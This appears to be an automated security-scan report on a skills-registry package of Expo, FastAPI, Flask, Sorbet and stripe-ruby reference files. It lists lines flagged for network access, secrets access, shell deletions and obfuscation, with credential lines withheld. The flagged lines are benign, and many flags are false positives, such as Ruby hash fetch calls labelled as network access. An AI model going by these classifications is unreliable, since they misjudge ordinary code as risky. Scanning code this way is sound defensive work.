  • Network accessline 200
    params, ) => {   const data = await fetch("https://api.stripe.com/v1/balance", {
  • Network accessline 201
    ) => {   const data = await fetch("https://api.stripe.com/v1/balance", {     headers: {
  • Network accessline 202
    const data = await fetch("https://api.stripe.com/v1/balance", {
  • Access to secretsline 204
    [Credential-related source omitted]
  • Network accessline 265
    export async function loader() {   const response = await fetch("https://api.example.com/posts");
  • Network accessline 266
    const response = await fetch("https://api.example.com/posts");

packages/autoskills/skills-registry/expo-data-fetching/references/offline-and-cancellation.md

  • Network accessline 50
    fetch(url, { signal: controller.signal })

packages/autoskills/skills-registry/expo-dev-client/SKILL.md

  • Network accessline 10
    > **Free locally; cloud builds are paid.** `expo-dev-client` itself is open source and building locally is free. Building or distributing via EAS Build/TestFlight uses your EAS plan's build minutes and needs a paid Apple Developer account f
  • Network accessline 14
    **Development clients are the recommended setup for any real or production app.** Expo Go is a playground for learning and quick experiments with the native libraries it bundles; most apps outgrow it and move to a development client. See [E

packages/autoskills/skills-registry/expo-native-ui/references/icons.md

  • Network accessline 222
    1. Use the SF Symbols app on macOS (free from Apple) 2. Search at https://developer.apple.com/sf-symbols/
  • Network accessline 223
    2. Search at https://developer.apple.com/sf-symbols/

packages/autoskills/skills-registry/expo-native-ui/references/media.md

  • Network accessline 86
    const player = useAudioPlayer({ uri: 'https://stream.nightride.fm/rektory.mp3' });
  • Network accessline 138
    const videoSource = 'https://example.com/video.mp4';
  • Possible obfuscationline 183
    const binaryString = atob(base64);

packages/autoskills/skills-registry/expo-upgrade/SKILL.md

  • Network accessline 22
    Check if latest is beta: https://exp.host/--/api/v2/versions (look for `-preview` in `expoVersion`)
  • Dangerous shell operationline 45
    rm -rf node_modules .expo
  • Network accessline 79
    - Review release notes for the target SDK version at https://expo.dev/changelog
  • Network accessline 80
    - Update versioned docs links in agent instruction files (`AGENTS.md`). The default template links to `https://docs.expo.dev/versions/v<version>/`. Search for `docs.expo.dev/versions/` and bump each link to the new SDK version.
  • Network accessline 130
    - `EXPO_USE_FAST_RESOLVER=1` is removed in SDK +54. - cjs and mjs extensions are supported by default in SDK +50. - Expo webpack is deprecated, migrate to [Expo Router and Metro web](https://docs.expo.dev/router/migrate/from-expo-webpack/).
  • Network accessline 132
    - Expo webpack is deprecated, migrate to [Expo Router and Metro web](https://docs.expo.dev/router/migrate/from-expo-webpack/).

packages/autoskills/skills-registry/expo-upgrade/references/expo-av-to-audio.md

  • Network accessline 132
    https://docs.expo.dev/versions/latest/sdk/audio/

packages/autoskills/skills-registry/expo-upgrade/references/expo-av-to-video.md

  • Network accessline 22
    <Video   ref={videoRef}   source={{ uri: 'https://example.com/video.mp4' }}
  • Network accessline 23
    ref={videoRef}   source={{ uri: 'https://example.com/video.mp4' }}   style={{ width: 350, height: 200 }}
  • Network accessline 24
    source={{ uri: 'https://example.com/video.mp4' }}
  • Network accessline 39
    const player = useVideoPlayer('https://example.com/video.mp4', player => {
  • Network accessline 160
    https://docs.expo.dev/versions/latest/sdk/video/

packages/autoskills/skills-registry/expo-upgrade/references/native-tabs.md

  • Network accessline 124
    - Read docs for more info https://docs.expo.dev/versions/v55.0.0/sdk/router-native-tabs/

packages/autoskills/skills-registry/expo-upgrade/references/new-architecture.md

  • Network accessline 7
    Full guide: https://docs.expo.dev/guides/new-architecture/
  • Dangerous shell operationline 72
    Verify from the command line if the currently running app uses the New Architecture: `bunx xcobra expo eval "_IS_FABRIC"` -> `true`

packages/autoskills/skills-registry/expo-upgrade/references/react-navigation-to-expo-router.md

  • Network accessline 61
    - Official Expo Router SDK 55 → 56 migration guide: https://docs.expo.dev/router/migrate/sdk-55-to-56

packages/autoskills/skills-registry/fastapi-python/SKILL.md

  • Network accessline 4
    metadata:   maintainer: Mindrally   source: https://github.com/Mindrally/skills
  • Network accessline 5
    maintainer: Mindrally   source: https://github.com/Mindrally/skills ---
  • Network accessline 6
    source: https://github.com/Mindrally/skills

packages/autoskills/skills-registry/fastapi-templates/SKILL.md

  • Network accessline 116
    async with AsyncClient(app=app, base_url="http://test") as client:

packages/autoskills/skills-registry/fastapi-templates/references/details.md

  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 353
    [Credential-related source omitted]

packages/autoskills/skills-registry/fastapi/SKILL.md

  • Network accessline 215
    See the [OpenTelemetry tutorial](https://fastapi.tiangolo.com/advanced/opentelemetry/) for configuration details.

packages/autoskills/skills-registry/fastmcp/SKILL.md

  • Network accessline 13
    [FastMCP](https://github.com/jlowin/fastmcp) (v3.x) is the standard Python framework for building MCP servers. This skill covers production patterns verified against the real FastMCP API — applicable to any domain: databases, REST APIs, fil
  • Network accessline 85
    @asynccontextmanager async def lifespan(server: FastMCP):     client = httpx.AsyncClient(base_url="https://api.example.com")
  • Network accessline 86
    async def lifespan(server: FastMCP):     client = httpx.AsyncClient(base_url="https://api.example.com")     yield {"client": client}       # yield a dict — tools access via ctx.lifespan_context
  • Network accessline 87
    client = httpx.AsyncClient(base_url="https://api.example.com")
  • Network accessline 131
    @asynccontextmanager async def lifespan(server: FastMCP):     client = httpx.AsyncClient(base_url=os.environ["API_BASE_URL"], timeout=30.0)
  • Network accessline 132
    async def lifespan(server: FastMCP):     client = httpx.AsyncClient(base_url=os.environ["API_BASE_URL"], timeout=30.0)     yield {"client": client, "cache": {}}  # ← yield state as a dict
  • Network accessline 133
    [Credential-related source omitted]
  • Access to secretsline 133
    [Credential-related source omitted]

packages/autoskills/skills-registry/flask-api-development/SKILL.md

  • Access to secretsline 46
    [Credential-related source omitted]

packages/autoskills/skills-registry/flask-api-development/references/application-factory-and-configuration.md

  • Access to secretsline 22
    [Credential-related source omitted]

packages/autoskills/skills-registry/flask-api-development/references/authentication-and-jwt.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]

packages/autoskills/skills-registry/flask-api-development/references/flask-application-setup.md

  • Access to secretsline 15
    [Credential-related source omitted]

packages/autoskills/skills-registry/flask-api-development/scripts/validate-api.sh

  • Executable scriptline 1
    #!/bin/bash

packages/autoskills/skills-registry/flutter-expert/SKILL.md

  • Network accessline 4
    license: MIT metadata:   author: https://github.com/Jeffallan
  • Network accessline 5
    metadata:   author: https://github.com/Jeffallan   company: https://synergetic.solutions
  • Network accessline 6
    author: https://github.com/Jeffallan
  • Network accessline 7
    company: https://synergetic.solutions
  • Network accessline 140
    Maintained by [@jeffallan](https://github.com/jeffallan), Principal Consultant at [Synergetic Solutions](https://synergetic.solutions)
  • Network accessline 142
    [Documentation](https://jeffallan.github.io/claude-skills/skills/frontend/flutter-expert/)

packages/autoskills/skills-registry/flutter-testing/scripts/verify-examples.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 14
    ruby -ryaml -e ' path = ARGV.fetch(0)
  • Network accessline 15
    path = ARGV.fetch(0)
  • Network accessline 35
    ruby -e ' root = ARGV.fetch(0)
  • Network accessline 36
    root = ARGV.fetch(0)

packages/autoskills/skills-registry/frontend-design/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/

packages/autoskills/skills-registry/generating-sorbet-inline/SKILL.md

  • Dangerous shell operationline 60
    rm .sorbet-inline-generation-todo.tmp
  • Network accessline 183
    - [syntax.md](reference/syntax.md) - Sorbet signature syntax guide - [sorbet_examples/](reference/sorbet_examples/STRUCTURE.md) - Real-world Sorbet examples from production gems - [Sorbet documentation](https://sorbet.org/docs/overview) - O
  • Network accessline 185
    - [Sorbet documentation](https://sorbet.org/docs/overview) - Official Sorbet docs

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/STRUCTURE.md

  • Network accessline 5
    - [packwerk/](packwerk/) - https://github.com/Shopify/packwerk

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/application_validator.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/association_inspector.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/cache.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 115
    # MD5 appears to be the fastest       # https://gist.github.com/morimori/1330095
  • Network accessline 116
    # https://gist.github.com/morimori/1330095

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/checker.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 45
    [checker.violation_type, checker]                                              end, T.nilable(T::Hash[String, Checker]))         @checker_by_violation_type.fetch(name)
  • Network accessline 46
    end, T.nilable(T::Hash[String, Checker]))         @checker_by_violation_type.fetch(name)       end
  • Network accessline 47
    @checker_by_violation_type.fetch(name)

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/cli.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/base_command.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/check_command.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/help_command.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/init_command.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 27
    🎉 Packwerk is ready to be used. You can start defining packages and run `bin/packwerk check`.             For more information on how to use Packwerk, see: https://github.com/Shopify/packwerk/blob/main/USAGE.md
  • Network accessline 28
    For more information on how to use Packwerk, see: https://github.com/Shopify/packwerk/blob/main/USAGE.md
  • Network accessline 33
    ⚠<U+FE0F>  Packwerk is not ready to be used.             Please check output and refer to https://github.com/Shopify/packwerk/blob/main/USAGE.md for more information.
  • Network accessline 34
    Please check output and refer to https://github.com/Shopify/packwerk/blob/main/USAGE.md for more information.

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/lazy_loaded_entry.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/update_todo_command.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/uses_parse_run.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 33
    sig { returns(FilesForProcessing) }       def fetch_files_to_process         FilesForProcessing.fetch(
  • Network accessline 34
    def fetch_files_to_process         FilesForProcessing.fetch(           relative_file_paths: parsed_options[:relative_file_paths],
  • Network accessline 35
    FilesForProcessing.fetch(

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/validate_command.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/commands/version_command.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/configuration.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/const_node_inspector.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/constant_context.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/constant_discovery.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/constant_name_inspector.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/disable_sorbet.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 33
    # From https://github.com/sorbet/sorbet/blob/dcf1b069cfb0d6624c027e45e59f4c6ca33de970/gems/sorbet-runtime/lib/types/private/runtime_levels.rb#L54

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/extension_loader.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/file_processor.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/files_for_processing.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    ).returns(FilesForProcessing)       end       def fetch(relative_file_paths:, configuration:, ignore_nested_packages: false)
  • Network accessline 19
    end       def fetch(relative_file_paths:, configuration:, ignore_nested_packages: false)         new(relative_file_paths, configuration, ignore_nested_packages)
  • Network accessline 20
    def fetch(relative_file_paths:, configuration:, ignore_nested_packages: false)

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/formatters/default_offenses_formatter.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/formatters/progress_formatter.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/generators/configuration_file.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/generators/root_package.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/graph.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/node.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/node_helpers.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/node_processor.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/node_processor_factory.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/node_visitor.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/offense.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/offense_collection.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/offenses_formatter.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/output_style.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/output_styles/coloured.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # See https://en.wikipedia.org/wiki/ANSI_escape_code#3/4_bit for ANSI escape colour codes

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/output_styles/plain.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/package.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/package_set.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 92
    sig { params(name: String).returns(T.nilable(Package)) }     def fetch(name)
  • Network accessline 93
    def fetch(name)

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/package_todo.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    violated_constant_in_file = violated_constants_found.fetch("files", []).include?(reference.relative_path)
  • Network accessline 37
    violated_constants_found.fetch("violations", []).include?(violation_type)
  • Network accessline 42
    end     def add_entries(reference, violation_type)       package_violations = new_entries.fetch(reference.constant.package.name, {})
  • Network accessline 43
    def add_entries(reference, violation_type)       package_violations = new_entries.fetch(reference.constant.package.name, {})       entries_for_constant = package_violations[reference.constant.name] ||= {}
  • Network accessline 44
    package_violations = new_entries.fetch(reference.constant.package.name, {})
  • Network accessline 47
    entries_for_constant["violations"] ||= []       entries_for_constant.fetch("violations") << violation_type
  • Network accessline 48
    entries_for_constant.fetch("violations") << violation_type
  • Network accessline 50
    entries_for_constant["files"] ||= []       entries_for_constant.fetch("files") << reference.relative_path.to_s
  • Network accessline 51
    entries_for_constant.fetch("files") << reference.relative_path.to_s
  • Network accessline 106
    sig { params(package: String).returns(T::Array[String]) }     def deleted_files_for(package)       old_files = old_entries.fetch(package, {}).values.flat_map { |violation| violation.fetch("files") }
  • Network accessline 107
    def deleted_files_for(package)       old_files = old_entries.fetch(package, {}).values.flat_map { |violation| violation.fetch("files") }       new_files = new_entries.fetch(package, {}).values.flat_map { |violation| violation.fetch("files")
  • Network accessline 108
    old_files = old_entries.fetch(package, {}).values.flat_map { |violation| violation.fetch("files") }
  • Network accessline 109
    new_files = new_entries.fetch(package, {}).values.flat_map { |violation| violation.fetch("files") }
  • Network accessline 122
    if entries_for_constant.fetch("violations").all? { |type| new_entries_violation_types.include?(type) }
  • Network accessline 123
    stale_violations =             entries_for_constant.fetch("files") - Array(new_entries.dig(package, constant_name, "files"))           stale_violations.any?
  • Network accessline 124
    entries_for_constant.fetch("files") - Array(new_entries.dig(package, constant_name, "files"))
  • Network accessline 137
    package_violations.each do |constant_name, entries_for_constant|           entries_for_files = files & entries_for_constant.fetch("files")
  • Network accessline 138
    entries_for_files = files & entries_for_constant.fetch("files")
  • Network accessline 151
    new_entries.each do |package_name, package_violations|         package_violations.each do |_, entries_for_constant|           entries_for_constant.fetch("violations").sort!.uniq!
  • Network accessline 152
    package_violations.each do |_, entries_for_constant|           entries_for_constant.fetch("violations").sort!.uniq!           entries_for_constant.fetch("files").sort!.uniq!
  • Network accessline 153
    entries_for_constant.fetch("violations").sort!.uniq!
  • Network accessline 154
    entries_for_constant.fetch("files").sort!.uniq!

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parse_run.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsed_constant_definitions.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsers.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsers/erb.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsers/factory.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsers/parser_interface.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/parsers/ruby.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/rails_load_paths.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/reference.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/reference_checking/checkers/dependency_checker.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 59
    standard_message = <<~EOS             Inference details: this is a reference to #{reference.constant.name} which seems to be defined in #{reference.constant.location}.             To receive help interpreting or resolving this error message
  • Network accessline 60
    Inference details: this is a reference to #{reference.constant.name} which seems to be defined in #{reference.constant.location}.             To receive help interpreting or resolving this error message, see: https://github.com/Shopify/pack
  • Network accessline 61
    To receive help interpreting or resolving this error message, see: https://github.com/Shopify/packwerk/blob/main/TROUBLESHOOT.md#Troubleshooting-violations

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/reference_checking/reference_checker.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/reference_extractor.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/reference_offense.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/run_context.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 76
    # We need to initialize this before we fork the process, see https://github.com/Shopify/packwerk/issues/182

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/spring_command.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/unresolved_reference.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/validator.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/validator/result.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/validators/dependency_validator.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 69
    [             package.name,             package.dependencies.map { |dependency| package_set.fetch(dependency)&.name },
  • Network accessline 70
    package.name,             package.dependencies.map { |dependency| package_set.fetch(dependency)&.name },           ]
  • Network accessline 71
    package.dependencies.map { |dependency| package_set.fetch(dependency)&.name },

packages/autoskills/skills-registry/generating-sorbet-inline/reference/sorbet_examples/packwerk/packwerk/version.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet-inline/reference/syntax.md

  • Network accessline 3
    Source: https://sorbet.org/docs/sigs

packages/autoskills/skills-registry/generating-sorbet/SKILL.md

  • Dangerous shell operationline 59
    rm .sorbet-rbi-generation-todo.tmp
  • Network accessline 187
    - [syntax.md](reference/syntax.md) - Sorbet RBI syntax guide - [references/](reference/references/STRUCTURE.md) - Real-world RBI examples from stripe-ruby - [Sorbet RBI documentation](https://sorbet.org/docs/rbi) - Official RBI docs
  • Network accessline 189
    - [Sorbet RBI documentation](https://sorbet.org/docs/rbi) - Official RBI docs

packages/autoskills/skills-registry/generating-sorbet/reference/references/STRUCTURE.md

  • Network accessline 37
    Source: https://github.com/stripe/stripe-ruby (MIT License)
  • Network accessline 198
    - [Sorbet RBI docs](https://sorbet.org/docs/rbi) - Official RBI documentation

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 3
    # Stripe Ruby bindings # API spec at https://stripe.com/docs/api
  • Network accessline 4
    # API spec at https://stripe.com/docs/api
  • Network accessline 77
    DEFAULT_API_BASE = "https://api.stripe.com"
  • Network accessline 78
    DEFAULT_CONNECT_BASE = "https://connect.stripe.com"
  • Network accessline 79
    DEFAULT_UPLOAD_BASE = "https://files.stripe.com"
  • Network accessline 80
    DEFAULT_METER_EVENTS_BASE = "https://meter-events.stripe.com"
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 114
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/create.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/delete.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 18
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/list.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/nested_resource.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/request.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/save.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Network accessline 74
    extend Gem::Deprecate       deprecate :save, "the `update` class method (for examples " \                        "see https://github.com/stripe/stripe-ruby" \
  • Network accessline 75
    deprecate :save, "the `update` class method (for examples "                         "see https://github.com/stripe/stripe-ruby"
  • Network accessline 76
    "see https://github.com/stripe/stripe-ruby" \

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/search.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_operations/singleton_save.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Network accessline 71
    extend Gem::Deprecate       deprecate :save, "the `update` class method (for examples " \                        "see https://github.com/stripe/stripe-ruby" \
  • Network accessline 72
    deprecate :save, "the `update` class method (for examples "                         "see https://github.com/stripe/stripe-ruby"
  • Network accessline 73
    "see https://github.com/stripe/stripe-ruby" \

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_requestor.rb

  • Executable scriptline 1
    Executable file
  • Access to secretsline 28
    [Credential-related source omitted]
  • Access to secretsline 279
    [Credential-related source omitted]
  • Access to secretsline 288
    [Credential-related source omitted]
  • Network accessline 326
    "Please check your internet connection and try again. " \       "If this problem persists, you should check Stripe's service " \       "status at https://status.stripe.com, or let us know at " \
  • Network accessline 327
    "If this problem persists, you should check Stripe's service " \       "status at https://status.stripe.com, or let us know at " \       "support@stripe.com."
  • Network accessline 328
    "status at https://status.stripe.com, or let us know at " \
  • Access to secretsline 473
    [Credential-related source omitted]
  • Access to secretsline 476
    [Credential-related source omitted]
  • Access to secretsline 506
    [Credential-related source omitted]
  • Access to secretsline 543
    [Credential-related source omitted]
  • Access to secretsline 544
    [Credential-related source omitted]
  • Network accessline 545
    [Credential-related source omitted]
  • Access to secretsline 545
    [Credential-related source omitted]
  • Network accessline 546
    [Credential-related source omitted]
  • Access to secretsline 546
    [Credential-related source omitted]
  • Network accessline 547
    "You can generate API keys from the Stripe web interface. " \                                    "See https://stripe.com/api for details, or email " \                                    "support@stripe.com if you have any questions."
  • Network accessline 548
    "See https://stripe.com/api for details, or email " \
  • Access to secretsline 552
    [Credential-related source omitted]
  • Network accessline 554
    raise AuthenticationError, "Your API key is invalid, as it contains " \                                  "whitespace. (HINT: You can double-check your API key from the " \                                  "Stripe web interface. See https://
  • Network accessline 555
    "whitespace. (HINT: You can double-check your API key from the " \                                  "Stripe web interface. See https://stripe.com/api for details, or " \                                  "email support@stripe.com if you have
  • Network accessline 556
    "Stripe web interface. See https://stripe.com/api for details, or " \
  • Network accessline 577
    # https://go/j/RUN_DEVSDK-1956 - this is probably a bug
  • Access to secretsline 933
    [Credential-related source omitted]
  • Access to secretsline 1020
    [Credential-related source omitted]
  • Access to secretsline 1039
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_resource.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_resource_test_helpers.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/api_version.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/connection_manager.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/error_object.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 4
    # Represents an error object as returned by the API.   #   # @see https://stripe.com/docs/api/errors
  • Network accessline 6
    # @see https://stripe.com/docs/api/errors
  • Network accessline 79
    # Represents on OAuth error returned by the OAuth API.   #   # @see https://stripe.com/docs/connect/oauth-reference#post-token-errors
  • Network accessline 81
    # @see https://stripe.com/docs/connect/oauth-reference#post-token-errors

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/errors.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/event_types.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/events/unknown_event_notification.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/events/v1_billing_meter_error_report_triggered_event.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/events/v1_billing_meter_no_meter_found_event.rb

  • Executable scriptline 1
    Executable file

